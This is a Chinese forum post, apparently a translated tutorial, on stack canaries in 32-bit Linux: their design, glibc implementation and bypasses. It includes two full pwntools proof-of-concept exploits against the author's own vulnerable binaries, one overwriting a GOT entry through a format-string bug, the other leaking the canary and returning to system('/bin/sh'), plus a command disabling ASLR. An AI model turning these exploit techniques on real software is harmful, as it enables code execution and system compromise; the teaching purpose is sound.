用户
搜索

该用户从未签到

版主

推荐组组员(最帅的那个)

Rank: 7Rank: 7Rank: 7

32

主题

45

帖子

354

魔法币
收听
0
粉丝
1
注册时间
2018-4-12

i春秋推荐小组

Arizona 版主 推荐组组员(最帅的那个) i春秋推荐小组 楼主
发表于 2018-9-30 09:53:21 35716

利用缓存技术系列-Stack Canaries

mitigations canaries exploitation linux hacking

序 言

大家好,请先看这里!  在上一次发表技术文章后,过了很长一段时间,第二部分终于被写出来了!
对于我因为现实生活的羁绊的原因,造成这篇文章发表的这么迟,我感到很抱歉,;)……

上一篇我介绍了这个系列中数据运行预防(DEP)的方法。  今天接下来我将介绍一个大的技术。  正如标题所暗示的那样,这篇文章将是关于介绍Stack Canaries的内容。  这里文章流程的格式跟上一次是差不多的:  

首先,我们将讨论该方法的一些基本介绍,然后才是基本的开发部分。

备注:下面的内容是自学的结果,可能包含有错误的信息。如果你找到了,请联系我。谢谢!

准备条件

  • 一些空闲的时间
  • 对哪些原因导致内存错误的有一个基本的了解
  • 自己去询问或查找未知术语  
  • 一些 ASM/C 的知识储备  
  • 了解字符串错误的基本格式  
  • 了解链接 进程/库 如何工作(GOT)  
  • Stack Canaries / Stack Cookies (SC)

设计基础

为了防止缓存区在程序运行期间损坏,除了数据运行预防技术之外,还提出了  另一种技术,那就是Stack Canaries ,并最终运用了该技术,以应对缓存区损坏所带来的威胁。  

其实在很早以前就开始这么做了!  

在应用程序中处理单个缓存区漏洞看似是无害的,但事实是:  

在一个程序中,即使一个简单的修改缓存区大小的操作也可能会对其他部分造成破坏。 在这点上表现得更突出的是,使用数量是庞大的遗留代码和系统权限运行的程序。  总体而言,这种软件开发的补丁驱动特性与像 C/C++ 等类型不安全语言组合的使用,  使得这种缓存问题依然过于频繁地出现。  对于这种问题,我们抛弃补丁程序试图解决源代码级别的问题这种方式,而是用canary     尝试解决手边的问题:堆栈结构。  实现这个技术最简单的方法是在局部变量或缓存区容器与返回地址之间放置一个填充词,即canary  。  这样做是为了被每个,如果你已经选择了正确的编译器标志)函数调用的,而不仅仅只是一些不被注意的主函数。  因此,在开发过程中经常需要重写多个canary 的值。

下面展示了一个基本的方案例子:
​      

          Process Address                                   Process Address   
            Space                                             Space  
           +---------------------+                           +---------------------+  
           |                     |                           |                     |
   0xFFFF  |  Top of stack       |                   0xFFFF  |  Top of stack       |
       +   |                     |                       +   |                     |
       |   +---------------------+                       |   +---------------------+
       |   |  malicious code     <-----+                 |   |  malicious code     |
       |   +---------------------+     |                 |   +---------------------+
       |   |                     |     |                 |   |                     |
       |   |                     |     |                 |   |                     |
       |   |                     |     |                 |   |                     |
       |   +---------------------|     |                 |   +---------------------|        
       |   |  return address     |     |                 |   |  return address     |
       |   +---------------------+     |                 |   +---------------------|
 stack |   |  saved EBP          +-----+           stack |   |  saved EBP          |
growth |   +---------------------+                growth |   +---------------------+
       |   |  local variables    |                       |   |  stackcanary      |
       |   +---------------------+                       |   +---------------------+
       |   |                     |                       |   |  local variables    |
       |   |  buffer             |                       |   +---------------------+
       |   |                     |                       |   |                     |
       |   |                     |                       |   |  buffer             |
       |   +---------------------+                       |   |                     |
       |   |                     |                       |   |                     |
       |   |                     |                       |   +---------------------+
       |   |                     |                       |   |                     |
       v   |                     |                       v   |                     |
   0x0000  |                     |                   0x0000  |                     |
           +---------------------+                           +---------------------+
注意:这只是一个基本的概述。详细的底层视图可能会略有不同。    

备注:如果你忘了,请重新调整基本指针!   

这个  canary 值可以包含不同的标准:
通常随机值或终结符值是我们最常用的值。
当在程序的代码执行期间到达(接近)返回指令时,首先程序检查   canary  的完整性用以判断它是否被篡改。
如果程序未找到任何的篡改,则执行将恢复正常。
如果检测到篡改了    canary  值,则程序执行立即终止,因为它是恶意的。
用户控制的输入通常是导致这种情况的原因:stuck_out_tongue: .
对于这个场景,它最简单的例子是一个基本的堆栈碎片化攻击,其中写入缓存区的字节数超过了缓存区大小。
将其与不做任何边界检查的系统调用进行配对,结果是覆盖canary   值。     

基于Linux的系统上的 Stack Canaries 的第一个实现出现在1997年,它是由StackGuard提出的,它是GNU编译器集合(GCC)的一组补丁。   

终止符类canary

让我们用这个示例代码片段来说明一下:  

int main(int argv, char **argc) {
    int var1;
    char buf[80];
    int var2;
    strcpy(buf,argc[1]);
    print(buf);
    exit(0);
}

正如终止符的名字所暗示的那样,一旦它在试图覆盖的时候执行到这里,它就应该停止重写。
这个例子的一个示例值是0x000aff0d
0x00将停止strcpy()方法,并且我们将无法更改返回地址。
如果gets()方法被用来代替strcpy()方法读取到缓存区中,那么我们就可以写0x00,但是0x00会阻止这个操作。
这就是这些终止符值如何在一个底层上的工作原理。

一般来说,我们可以说终止符类canary 包含NULL(0x00)、CR(0x0d)、LF(0x0a)和EOF(0xff)。
这四个字节字符的组合能够终止大多数字符串操作,尝试使内存溢出变得无害。

随机值类canary

另一方面,随机值类 canary   不会去试图阻止字符串的操作。
它们想要让黑客很难找到正确的值,因此程序一旦检测值到篡改了,进程就会终止了。
判断随机值从/dev/urandom中获取是否可用,并在不支持/dev/urandom的情况下进行散列化。
这种随机性足以阻止大多数预测攻击的尝试。


接下来我们来更仔细地看一下canary 的一些实现

让我们快速浏览一下最新的glibc 2.26 libc-start的 canary 实现。

/* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
  [...]
  __stack_chk_guard = stack_chk_guard;

_dl_setup_stack_chk_guard函数的内部实现如下:   

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };
  # __stack_chk_guard becomes a terminator canary
  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  # __stack_chk_guard will be a random canary
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
# error "BYTE_ORDER unknown"
#endif
    }
  return ret.num;
}

这里的有趣之处在于,我们可以看到前面提到的基本设计选择!
dlsetupstackchkguard()允许创造所有的canary 类型。
如果dl_random 是null,则__stack_chk_guard将是终止符类canary ,否则是随机值类 canary。  


局限性

这种技术暴露出几个缺点。
一个是:静态的 canary 值,很容易用暴力的方法破解或者简单的通过反复猜测.....
在早期通过使用随机值或终止符值的方式,转移了这个缺陷。
但是这种做法也加强了某些安全隐患,除此之外一些黑客仍然可能会绕过这个技术。
当在程序运行时检测到从应用程序的内存空间中提取 canary 值的方法时,可以绕过 canary 保护的应用程序。
或者,如果使用像0x000aff0d那样的终止符canary,我们就不能用普通的字符串操作来写入它,但是也是方法能把它在 canary    前写到内存中。
这种技术实际上允许获得帧指针框架的完全控制。
如果实现了这种操作,并且有可能写到诸如堆栈或堆之类的内存区域,那么我们就可以将帧指针弯曲指向内存中的terminator_canary  +shellcode_address
这也允许我们返回注入的shell代码。   

我们也可以通过一种称为结构化异常处理器开发(SEH开发)的技术,可以实现另一个绕行。
它的原理是利用了一个事实,即Stack Canaries是在修改函数的开始和结尾去验证标记的目标。
如果在运行时覆盖堆栈或堆上的缓存区,并且这种错误在执行 复制/写入函数返回之前注意到,则引发异常。
这个异常被传递给一个本地异常处理程序,它再次将其传递给正确的系统特定的异常处理程序来处理故障。
改变之前说的的异常处理程序来指向用户控制的输入,比如shell代码,使它返回到那个。
这绕过了任何canary 的检查,并完全执行任何提供的恶意输入。  

注意: 1. 结构异常处理程序是Windows特有的!
​      2. 这些限制并不能代表所有绕过canary 的方法!

PoC 1

滥用Stack Canaries禁用二进制

我不会再讲这个了。
在我的上一篇文章中,我们已经演示了如何使用基本的堆栈碎片化攻击来实现这一点。

滥用启用Stack Canaries

​    注意:ASLR现在仍然是呗禁用的: echo 0 > /proc/sys/kernel/randomize_va_space

易受攻击的项目

让我们观察一下这个小项目:

#include <stdlib.h>  
#include <unistd.h>  
#include <stdio.h>  
#include <string.h>  

int target;

​   

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);
  printf("Welcome 0x00sec to Stack Canaries\n");

  strdup(buffer);
  return 0;

}

int main(int argc, char **argv)
{
  vuln();
}

对于我们的PoC来说,我们不需要太多功能,因此这个程序非常小。
它所做的就是通过fgets()获取一些输入,并使用printf()打印它的结果。
因此一些可疑的原因,strdup()也出现在这里.
​    注意:strdup(s)函数返回一个指向新字符串的指针,它是字符串s的副本。
我们先来编译一下gcc -fstack-protector-all -m32 -o vuln vuln.c
并且检查一下是否忘记启用漏洞缓存:  

gef➤  checksec
[+] checksec for '/0x00sec/Canary/binary/vuln'
Canary                        : Yes →  value: 0xd41a2e00
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
gef➤  

上面这个结果展示数据执行预防(NX)和canary   都是被完全启用了。
或者,如果存在 Stack Canaries,我们总是有一个Sy-StaskChkpHub符号,那么我们可以搜索:

$ readelf -s ./vuln | grep __stack_chk_fail
   5: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
  58: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2
我们先来简单地看一下编译过程:
gef➤  disassemble main
Dump of assembler code for function main:
   0x080485ef <+0>:   lea    ecx,[esp+0x4]
   0x080485f3 <+4>:   and    esp,0xfffffff0
   0x080485f6 <+7>:   push   DWORD PTR [ecx-0x4]
   0x080485f9 <+10>:  push   ebp
   0x080485fa <+11>:  mov    ebp,esp
   0x080485fc <+13>:  push   ecx
   0x080485fd <+14>:  sub    esp,0x24
   0x08048600 <+17>:  mov    eax,ecx
   0x08048602 <+19>:  mov    edx,DWORD PTR [eax]
   0x08048604 <+21>:  mov    DWORD PTR [ebp-0x1c],edx
   0x08048607 <+24>:  mov    eax,DWORD PTR [eax+0x4]
   0x0804860a <+27>:  mov    DWORD PTR [ebp-0x20],eax
   0x0804860d <+30>:  mov    eax,gs:0x14                          ;canaryright here
   0x08048613 <+36>:  mov    DWORD PTR [ebp-0xc],eax      
   0x08048616 <+39>:  xor    eax,eax                              ; at this point we can inspect thecanaryin gdb as well
   0x08048618 <+41>:  call   0x8048576 <vuln>                     ; vuln() function call 
   0x0804861d <+46>:  mov    eax,0x0
   0x08048622 <+51>:  mov    ecx,DWORD PTR [ebp-0xc]
   0x08048625 <+54>:  xor    ecx,DWORD PTR gs:0x14                ;canarycheck routine is started
   0x0804862c <+61>:  je     0x8048633 <main+68>
   0x0804862e <+63>:  call   0x8048410 <__stack_chk_fail@plt>     ;canaryfault handler if check fails
   0x08048633 <+68>:  add    esp,0x24
   0x08048636 <+71>:  pop    ecx
   0x08048637 <+72>:  pop    ebp
   0x08048638 <+73>:  lea    esp,[ecx-0x4]
   0x0804863b <+76>:  ret    
End of assembler dump.

gef➤  disassemble vuln
Dump of assembler code for function vuln:
   0x08048576 <+0>:   push   ebp
   0x08048577 <+1>:   mov    ebp,esp
   0x08048579 <+3>:   sub    esp,0x218
   0x0804857f <+9>:   mov    eax,gs:0x14                            ;canaryright here
   0x08048585 <+15>:  mov    DWORD PTR [ebp-0xc],eax
   0x08048588 <+18>:  xor    eax,eax
   0x0804858a <+20>:  mov    eax,ds:0x804a040
   0x0804858f <+25>:  sub    esp,0x4
   0x08048592 <+28>:  push   eax
   0x08048593 <+29>:  push   0x200
   0x08048598 <+34>:  lea    eax,[ebp-0x20c]
   0x0804859e <+40>:  push   eax
   0x0804859f <+41>:  call   0x8048400 <fgets@plt>                 ; fgets routine to fetch user input
   0x080485a4 <+46>:  add    esp,0x10
   0x080485a7 <+49>:  sub    esp,0xc
   0x080485aa <+52>:  lea    eax,[ebp-0x20c]
   0x080485b0 <+58>:  push   eax                                   ; user input is pushed as argument for printf
   0x080485b1 <+59>:  call   0x80483d0 <printf@plt>                ; printf routine call
   0x080485b6 <+64>:  add    esp,0x10
   0x080485b9 <+67>:  sub    esp,0xc
   0x080485bc <+70>:  push   0x80486e4                             ; string is pushed as argument for puts
   0x080485c1 <+75>:  call   0x8048420 <puts@plt>                  ; puts routine call
   0x080485c6 <+80>:  add    esp,0x10
   0x080485c9 <+83>:  sub    esp,0xc
   0x080485cc <+86>:  lea    eax,[ebp-0x20c]
   0x080485d2 <+92>:  push   eax                                   ; buffer contents pushed as argument to strdup
   0x080485d3 <+93>:  call   0x80483f0 <strdup@plt>                ; strdup routine call
   0x080485d8 <+98>:  add    esp,0x10 
   0x080485db <+101>: nop
   0x080485dc <+102>: mov    eax,DWORD PTR [ebp-0xc]
   0x080485df <+105>: xor    eax,DWORD PTR gs:0x14                ;canarycheck routine is started
   0x080485e6 <+112>: je     0x80485ed <vuln+119>
   0x080485e8 <+114>: call   0x8048410 <__stack_chk_fail@plt>     ;canaryfault handler if check fails
   0x080485ed <+119>: leave  
   0x080485ee <+120>: ret    
End of assembler dump.
gef➤  

上面这段到目前为止还没有什么展示特别的信息。
我没有去掉二进制文件,我们所期望的一切都在正确的地方。
另外,我们在上面恰好能观察到Stack Canaries的初始化和检查过程。
此外,它还展示了Stack Canaries检查是在每个被调用的函数中完成的,而不仅仅只是在程序的main()函数中。  

字符串格式攻击扼要重述

下面的漏洞利用了一个字符串格式bug。
因此,我将快速地回顾一下这里的基础知识。
主要与printf()一起使用。
如果我们能够控制printf()将要打印什么,比方说用户控制 buf[64]的内容,那么我们就可以使用以下格式参数模拟输入来操作输出!
​   

Parameters*       Meaning                                       Passed as
--------------------------------------------------------------------------
%d                decimal (int)                                 value
%u                unsigned decimal (unsigned int)               value
%x                hexadecimal (unsigned int)                    value
%s                string ((const) (unsigned) char*)             reference
%n                number of bytes written so far, (*int)        reference

*Note: Only most relevant format paramters displayed  

如果我们将n个%08x.传递给printf(),它指示函数从堆栈中检索n个参数,并将它们显示为8位数的填充十六进制数。
如果处理得当,这可以用于查看任何位置的内存,或者甚至将需要的字节量(带有%n)写入内存中的某个地址!   

如果你觉得需要大量了解它,请查看picoCTF的这种格式字符串写法。

绕开canary 方法

我们将更仔细地研究覆盖全局偏移表(GOT)!
这操作是可能的,因为我们现在还没有完全启用的RelRO:

部分 RELRO:
* 重新排序ELF部分,以便ELF内部数据部分(.got,.dtors等)位于程序数据部分之前(.data and .bss)  
* 非PLT GOT是只读的
* GOT仍然是可写的   
完整 RELRO:
  • 支持部分RELRO的所有功能
    *整个GOT也被(重新)映射为只读
    如果你正在努力解决整个Global Offset Table的问题,我强烈建议阅读@_py的这些文章:  
  1. Linux Internals ~ Dynamic Linking Wizardry!  

  2. Linux Internals ~ The Art Of Symbol Resolution更详细的介绍
    如果你仍然在没有事先知识准备的情况下继续阅读,那么这里我要采取的下面的这种方式:  

  3. 任意一种方式开启shell  

  4. 计算要为字符串格式攻击写入的字节数  

  5. 使用我们可以实际用于漏洞攻击的函数覆盖strdup()的GOT条目:system()
    首先,我们要检查我们的本地libc的位置。
    我们可以在gdb内完成这个操作:  

    gef➤  vmmap libc
    Start      End        Offset     Perm Path
    0xf7dfd000 0xf7fad000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so       <-
    0xf7fad000 0xf7faf000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
    0xf7faf000 0xf7fb0000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
    gef➤
    使用的libc的基本地址是0xf7dfd000

接下来,我们想要用一种方法来弹出一个shell窗口。
那么基本没有比用system()更好的方法了:

$ readelf -s /lib/i386-linux-gnu/libc-2.23.so | grep system
    245: 00112ed0    68 FUNC    GLOBAL DEFAULT      13 svcerr_systemerr@@GLIBC_2.0
    627: 0003ada0    55 FUNC    GLOBAL DEFAULT      13 __libc_system@@GLIBC_PRIVATE
    1457: 0003ada0    55 FUNC    WEAK   DEFAULT     13 system@@GLIBC_2.0            <-

system() 的偏移量是0x3ada0
让我们把这些地址加起来,以得到库中的system()的最终地址。

0xf7dfd000 + 0x3ada0 = 0xf7e37da0

让我们检验一下这个数字是否正确:

gef➤ x 0xf7e37da0
0xf7e37da0 <__libc_system>:   0x8b0cec83
gef➤

非常好,计算结果是正确的!

注意:系统()如何工作的提示。
我们列表中的下一步是在GOT中找到strdup()的地址,以便能够覆盖它!

让我们看一看vuln()函数的汇编片段:

...
   0x080485c9 <+83>:  sub    esp,0xc
   0x080485cc <+86>:  lea    eax,[ebp-0x20c]
   0x080485d2 <+92>:  push   eax
=> 0x080485d3 <+93>:   call   0x80483f0 <strdup@plt>
   0x080485d8 <+98>:  add    esp,0x10
   0x080485db <+101>: nop
   ...

​   

gef➤  disassemble 0x80483f0
Dump of assembler code for function strdup@plt:
   0x080483f0 <+0>:   jmp    DWORD PTR ds:0x804a014
   0x080483f6 <+6>:   push   0x10
   0x080483fb <+11>:  jmp    0x80483c0
End of assembler dump.
gef➤  

0x804a014 是我们要覆盖的地址!

开发

下面是一个quick script,我把它放在一起,在不会破坏程序的任何正常的控制流打开一个shell。
用于覆盖strdup()的字节来获取system(),其中值是通过反复试验手动计算的。
首先,你想要通过下面这样做来检查缓存参数在堆栈上的位置:

...
exploit = ""

exploit += "AAAABBBBCCCC"                      

exploit += "%x "*10
...

理想情况下,除了其他地址,你还可以在输出中快速找到41414141 424242 43434343
如果你这样做了,你可以看到你的即时输入被丢弃的位置。
例如,它可以是这样的:  

AAAABBBBCCCC200 f7faf5a0 f7ffd53c ffffcc48 f7fd95c5 0 41414141 42424242 43434343 25207825 78252078 20782520 25207825 78252078 20782520

这意味着我们的输入值在堆栈的第7个位置。
我们现在可以用更有意义的东西替换AAAABBBBCCCC,就像我们想要覆盖的GOT中的条目一样。
基本上我们接下来要做的是写一定数量的字节,然后改变strdup()的地址。
我这样做了4次来覆盖GOT中strdup()的4个2byte位置。   

#!/usr/bin/env python

import argparse
from pwn import *
from pwnlib import *

context.arch ='i386'
context.os ='linux'
context.endian = 'little'
context.word_size = '32'
context.log_level = 'DEBUG'

binary = ELF('./binary/vuln')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

​   

def pad(s):
    return s+"X"*(512-len(s))

​   

def main():
    parser = argparse.ArgumentParser(description='pwnage')
    parser.add_argument('--dbg', '-d', action='store_true')
    args = parser.parse_args()

    exe = './binary/vuln'

    strdup_plt = 0x804a014
    system_libc = 0xf7e37da0

    exploit = "sh;#    "

    exploit += p32(strdup_plt)
    exploit += p32(strdup_plt+1)
    exploit += p32(strdup_plt+2)
    exploit += p32(strdup_plt+3)

    exploit += "%9$136x"
    exploit += "%9$n"

    exploit += "%221x"
    exploit += "%10$n"

    exploit += "%102x"
    exploit += "%11$n"

    exploit += "%532x"
    exploit += "%12$n"


​   

    padding = pad(exploit)

    if args.dbg:
        r = gdb.debug([exe], gdbscript="""
                b *vuln+92
                b *vuln+98
                continue
                """)
    else:
        r = process([exe])

    r.send(padding)
    r.interactive()

​   

if __name__ == '__main__':
    main()
    sys.exit(0)
Proof


好了,但这样做并不一定能绕过Stack Canaries检测!
我刚只是打开另一的攻击面,然后我就能完全绕过canary检测。
由于这感觉不太对,我将以一种更恰当的方式,用另一个PoC以攻破系统的防御机制。  


PoC 2

现在绕过canary 4 realz 。

好了,这一次,我们看到了一种更“标准”的方法来绕过堆栈Stack Canaries
​   

######漏洞程序
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define STDIN 0

​   

void untouched(){
    char answer[32];
    printf("\nCanaries are fun aren't they?\n");
    exit(0);
}

void minorLeak(){
    char buf[512];
    scanf("%s", buf);
    printf(buf);
}

void totallySafeFunc(){
    char buf[1024];
    read(STDIN, buf, 2048);
}

int main(int argc, char* argv[]){

    setbuf(stdout, NULL);
    printf("echo> ");
    minorLeak();
    printf("\n");
    printf("read> ");
    totallySafeFunc();

    printf("> I reached the end!");

    return 0;
} 

这里只是读取一些用户输入并打印出一些东西。
正如函数名所暗示的,绕过canary的最简单方法是通过信息泄露。
我们可以通过使用 minorLeak()函数来完成这项工作。
类似于之前,我们将滥用字符串格式。
之后,我们在totallySafeFunc()中利用缓存区溢出的机会将控制流重定向到我们的喜好。  

注意:显然,这个二进制文件是非常脆弱!

该漏洞的重点将放在minorLeak()totallySafeFunc()上。
让我们来看看asm 是否有任何异常现象:

gef➤  disassemble minorLeak 
Dump of assembler code for function minorLeak:
   0x080485f6 <+0>:   push   ebp
   0x080485f7 <+1>:   mov    ebp,esp
   0x080485f9 <+3>:   sub    esp,0x218                            ; 536 bytes on the stack are reserved
   0x080485ff <+9>:   mov    eax,gs:0x14                          ; stackcanary
   0x08048605 <+15>:  mov    DWORD PTR [ebp-0xc],eax
   0x08048608 <+18>:  xor    eax,eax
   0x0804860a <+20>:  sub    esp,0x8
   0x0804860d <+23>:  lea    eax,[ebp-0x20c]
   0x08048613 <+29>:  push   eax
   0x08048614 <+30>:  push   0x804879f
   0x08048619 <+35>:  call   0x80484b0 <__isoc99_scanf@plt>   ; user input is copied into buf
   0x0804861e <+40>:  add    esp,0x10
   0x08048621 <+43>:  sub    esp,0xc
   0x08048624 <+46>:  lea    eax,[ebp-0x20c]
   0x0804862a <+52>:  push   eax
   0x0804862b <+53>:  call   0x8048450 <printf@plt>           ; the contents of buf are printed out
   0x08048630 <+58>:  add    esp,0x10
   0x08048633 <+61>:  nop
   0x08048634 <+62>:  mov    eax,DWORD PTR [ebp-0xc]          ; stackcanaryverifucation routine started
   0x08048637 <+65>:  xor    eax,DWORD PTR gs:0x14
   0x0804863e <+72>:  je     0x8048645 <minorLeak+79>
   0x08048640 <+74>:  call   0x8048460 <__stack_chk_fail@plt>
   0x08048645 <+79>:  leave  
   0x08048646 <+80>:  ret                                     ; return to main()
End of assembler dump.
gef➤ 
    gef➤  disassemble totallySafeFunc 
    Dump of assembler code for function totallySafeFunc:
       0x08048647 <+0>:   push   ebp
       0x08048648 <+1>:   mov    ebp,esp
       0x0804864a <+3>:   sub    esp,0x418                                ; 1048 bytes are reserved on the stack
       0x08048650 <+9>:   mov    eax,gs:0x14                              ; stack canary
       0x08048656 <+15>:  mov    DWORD PTR [ebp-0xc],eax
       0x08048659 <+18>:  xor    eax,eax
       0x0804865b <+20>:  sub    esp,0x4
       0x0804865e <+23>:  push   0x800
       0x08048663 <+28>:  lea    eax,[ebp-0x40c]
       0x08048669 <+34>:  push   eax
       0x0804866a <+35>:  push   0x0
       0x0804866c <+37>:  call   0x8048440 <read@plt>                 ; user input is requestet
       0x08048671 <+42>:  add    esp,0x10
       0x08048674 <+45>:  nop
       0x08048675 <+46>:  mov    eax,DWORD PTR [ebp-0xc]              ; stackcanaryverification routine
       0x08048678 <+49>:  xor    eax,DWORD PTR gs:0x14
       0x0804867f <+56>:  je     0x8048686 <totallySafeFunc+63>
       0x08048681 <+58>:  call   0x8048460 <__stack_chk_fail@plt>
       0x08048686 <+63>:  leave  
       0x08048687 <+64>:  ret                                         ; return to main()
    End of assembler dump.
    gef➤ 

到目前为止,除了明显的漏洞和Stack Canaries 的存在之外,我们还不能发现任何异常。
这就是说,我们可以直接跳进漏洞制造的坑了!

开发案例
#!/usr/bin/env python2

import argparse
from pwn import *
from pwnlib import *

context.arch ='i386'
context.os ='linux'
context.endian = 'little'
context.word_size = '32'
context.log_level = 'DEBUG'

binary = ELF('./binary/realvuln4')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

​   

def leak_addresses():
    leaker = '%llx.' * 68
    return leaker

​   

def prepend_0x_to_hex_value(hex_value):
    full_hex_value = '0x' + hex_value
    return full_hex_value

​   

def extract_lower_8_bits(double_long_chunk):
    return double_long_chunk[len(double_long_chunk) / 2:]

​   

def cast_hex_to_int(hex_value):
    return int(hex_value, 16)

​   

def get_canary_value(address_dump):
    get_canary_chunk = address_dump.split('.')[-2]
    get_canary_part = extract_lower_8_bits(get_canary_chunk)
    canary_with_pre_fix = prepend_0x_to_hex_value(get_canary_part)
    print("[+]canaryvalue is {}".format(canary_with_pre_fix))
    canary_to_int = cast_hex_to_int(canary_with_pre_fix)
    return canary_to_int

​   

def get_libc_base_from_leak(address_dump):
    get_address_chunk = address_dump.split('.')[1]
    get_malloc_chunk_of_it = extract_lower_8_bits(get_address_chunk)
    malloc_with_prefix = prepend_0x_to_hex_value(get_malloc_chunk_of_it)
    print("[+] malloc+26 is @ {}".format(malloc_with_prefix))
    libc_base = cast_hex_to_int(malloc_with_prefix)-0x1f6faa                # offset manually calculated by leak-libcbase
    print("[+] This puts libc base address @ {}".format(hex(libc_base)))
    return libc_base

​   

def payload(leaked_adrs):
   canary= get_canary_value(leaked_adrs)
    libc_base = get_libc_base_from_leak(leaked_adrs)

    bin_sh = int(libc.search("/bin/sh").next())
    print("[+] /bin/sh located @ offset {}".format(hex(bin_sh)))

    shell_addr = libc_base + bin_sh
    print("[+] Shell address is {}".format(hex(shell_addr)))

    print("[+] systemhome.php?mod=space&uid=358681 has offset: {}".format(hex(libc.symbols['system'])))
    system_call = libc_base + libc.symbols['system']
    print("[+] This puts the system call to {}".format(hex(system_call)))

    payload = ''
    payload += cyclic(1024)
    payload += p32(canary)
    payload += 'AAAA'
    payload += 'BBBBCCCC'
    #payload += p32(0x080485cb)          # jump to untouched to show code redirection
    #payload += p32(start_of_stack)      # jump to stack start if no DEP this allows easy shell popping
    payload += p32(system_call)
    payload += 'AAAA'
    payload += p32(shell_addr)
    return payload

​   

def main():
    parser = argparse.ArgumentParser(description='pwnage')
    parser.add_argument('--dbg', '-d', action='store_true')
    args = parser.parse_args()

    exe = './binary/realvuln4'

    if args.dbg:
        r = gdb.debug([exe], gdbscript="""
                b *totallySafeFunc+42
                continue
                """)
    else:
        r = process([exe])

    r.recvuntil("echo> ")
    r.sendline(leak_addresses())

    leaked_adrs = r.recvline()
    print(leaked_adrs)

    exploit = payload(leaked_adrs)

    r.recvuntil("read> ")
    r.sendline(exploit)

    r.interactive()

​   

if __name__ == '__main__':
    main()
    sys.exit(0)

这个漏洞并不是所有开发脚本中最经典的,但它确实能发挥我们想要的作用。
这个快速脚本将完全按照我之前介绍的方式运行。
这是另一个故障:

  1. 首先,我们会泄露一堆像 %llx.字符串格式的地址 (long long-sized integer)。

  2. 分析泄露的地址:
    2b. 结果是我们的Stack Canaries在第68个泄露的地址。
    2C. 此外,栈的中间部分在第一个泄漏的ll位整数的前8位中!

  3. 从泄漏中提取这些值

  4. Craft 有效载荷:
    4b.用垃圾数据填充缓存区
    4c.插入已泄露的canary
    4d.代码重定向到system@glibc
    4e.伪基指针
    4f.最后附在/bin/sh地址上  

    运行结果


    我们可以在输出中看到控制流被重定向并弹出一个shell!
    那么我们现在如何处理这些信息呢?

如果我们假设我们的信息有可能泄露,并且可以在任何时候获得canary值,那么绕过它们就毫无压力了。
Redirection/Changing 程序的控制流程是下面我们要做的重要步骤。  

  • 如果启用了DEP,则将其拉回到堆栈将不起作用   
    • 如果仅部分启用RELRO,则能轻易覆盖GOT,在此用例中甚至可能不需要泄漏Stack Canaries值,  
    • 否者好的 ol' ret2system仍然可以完美地运行。

结语

这种覆盖的方法最初是在20多年前实现的。
对于这样一个早期的适应,安全性方面要求相当高。
但是,如果他们想要生存下去,就必须实现对canary 的影响?
我们通过关注他们的弱点来表现出来!  

为了确保安全,canary 必须至少满足以下的特点:

  * 不能被预测(必须从具有良好熵的源生成)  =>取决于所使用的随机生成器!    
  * 必须位于一个不可访问的位置            =>我们能够进入它!  
  * 不能被暴力破解                      =>和之前的争议是密切相关的和不真实。    
  * 应该最少包含一个终止符               =>正确使用canary ,并不是所有的错误都能触发它。

巧妙地植入其他程序组件使得仍然可以找到构建绕开检测的方法,甚至可以完全避免它们,即使它存在于程序中的每个函数中。
两位提出PoCs希望以易于理解的方式展示上述内容。
像我之前的系列一样,我期待着任何反馈。
但更重要的是,我希望Stack Canaries概述消除你对这个技术任何误解是有帮助的。
接下来将对版面地址空间进行布局随机化!  

作者:ricksanchez

参考文献

Linux gcc stack protector flags
Playing with canaries for an in depth look atcanaryimplementations
Stack smashing article on ExploitDB
Bypassing stack cookies on corelan
Bypassing exploit mitigations on SO
SEH exploit PoC for Windows example
An excellent Phrack Issue 56 on stack canaries
An excellent Phrack Issue 55 on overwriting a frame pointer
StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks
Protecting Systems from Stack Smashing Attacks with StackGuard
babypwn with leaking stack canaries
4 ways to bypass stack canaries (no real PoCs tho)
Blackhat '09 talk about overall exploit mitigation security     

学习一下~
使用道具 举报 回复
虽然我现在还看不懂,但我相信总有一天我会看懂的
使用道具 举报 回复
感谢分享
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册